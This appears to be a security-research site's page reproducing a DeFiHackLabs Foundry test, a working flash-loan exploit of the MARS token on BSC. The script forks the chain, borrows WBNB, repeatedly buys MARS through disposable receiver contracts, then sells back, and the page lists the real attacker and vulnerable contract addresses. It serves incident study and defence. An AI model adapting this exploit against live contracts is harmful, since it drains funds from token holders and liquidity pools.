Public reproduction file
src/test/2024-04/MARS_exp.sol
Public reproduction file for dataset entry MARS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.17;4import "forge-std/Test.sol";5import "../interface.sol";7// Total Lost: >$100k8// Attacker: 0x306174b707ebf6d7301a0bcd898ae1666ec176ae9// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd10// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd11// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe82394312// Attack Tx: https://app.blocksec.com/explorer/tx/bsc/0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b14// @Analyses15// https://twitter.com/Phalcon_xyz/status/178015031560370193316// The pair contract can get reflections from taxes. Thus the attacker can user flashloan to repeated swap and sync for better pricing.18IPancakeV3Pool constant v3pair = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);19IERC20 constant bnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);20IPancakeRouter constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));21IERC20 constant MARS = IERC20(0x436D3629888B50127EC4947D54Bb0aB1120962A0);23contract MARS_EXP is Test {24 uint256 lending_amount = 350 ether;26 function setUp() public {27 vm.createSelectFork("bsc", 37_903_299); // fork BSC at block 3790329928 }30 function testExploit_MARS() public {31 v3pair.flash(address(this), 0, lending_amount, "");32 }34 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {35 emit log_named_uint("WBNB balance before Attack", bnb.balanceOf(address(this)) / 1 ether);37 emit log_string("Buying MARS with WBNB");38 bnb.approve(address(router), 2 ** 256 - 1);39 MARS.approve(address(router), 2 ** 256 - 1);41 address[] memory path = new address[](2);42 path[0] = address(bnb);43 path[1] = address(MARS);45 for (uint256 i = 0;;) {46 if (bnb.balanceOf(address(this)) == 0) {47 break;48 }49 uint256 tobuy = router.getAmountsIn(1000 ether, path)[0];50 TokenReceiver receiver = new TokenReceiver();51 if (bnb.balanceOf(address(this)) > tobuy) {52 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(53 tobuy, 0, path, address(receiver), block.timestamp + 154 );55 // emit log_named_uint("get MARS", MARS.balanceOf(address(receiver)));56 MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));57 } else {58 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(59 bnb.balanceOf(address(this)), 0, path, address(receiver), block.timestamp + 160 );61 // emit log_named_uint("get MARS", MARS.balanceOf(address(receiver)));62 MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));63 break;64 }65 }67 emit log_named_uint("MARS After buying", MARS.balanceOf(address(this)) / 1 ether);68 emit log_named_uint("BNB After buying", bnb.balanceOf(address(this)) / 1 ether);70 path[0] = address(MARS);71 path[1] = address(bnb);72 for (uint256 i = 0;;) {73 if (MARS.balanceOf(address(this)) == 0) {74 break;75 }76 if (MARS.balanceOf(address(this)) > 1000 ether) {77 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(78 1000 ether, 0, path, address(this), block.timestamp + 179 );80 } else {81 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(82 MARS.balanceOf(address(this)), 0, path, address(this), block.timestamp + 183 );84 break;85 }86 }88 emit log_named_uint("WBNB balance After Attack", bnb.balanceOf(address(this)) / 1 ether);89 emit log_named_uint("MARS After Attack", MARS.balanceOf(address(this)) / 1 ether);91 bnb.transfer(msg.sender, lending_amount + fee1);92 emit log_named_uint("WBNB balance After Paying back", bnb.balanceOf(address(this)) / 1 ether);93 }94}96contract TokenReceiver {97 constructor() {98 MARS.approve(msg.sender, 2 ** 256 - 1);99 }100}Analysis
Dataset entry
Public Foundry test for “MARS” (2024-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x306174b707ebf6d7301a0bcd898ae1666ec176ae
- Attack Contract
0x797acb321cb10154aa807fcd1e155c34135483cd
- Vulnerable Contract
0x3dc7e6ff0fb79770fa6fb05d1ea4deacce823943
- Attack Tx
0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b
File record
- Name
- MARS
- Path
- src/test/2024-04/MARS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 978734a4f8b68bc0068eee9821bf8faf0290d33e
- Language
- Solidity
- Size
- 101 lines
- Date
- 2024-04-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/MARS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 978734a4f8b68bc0068eee9821bf8faf0290d33e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.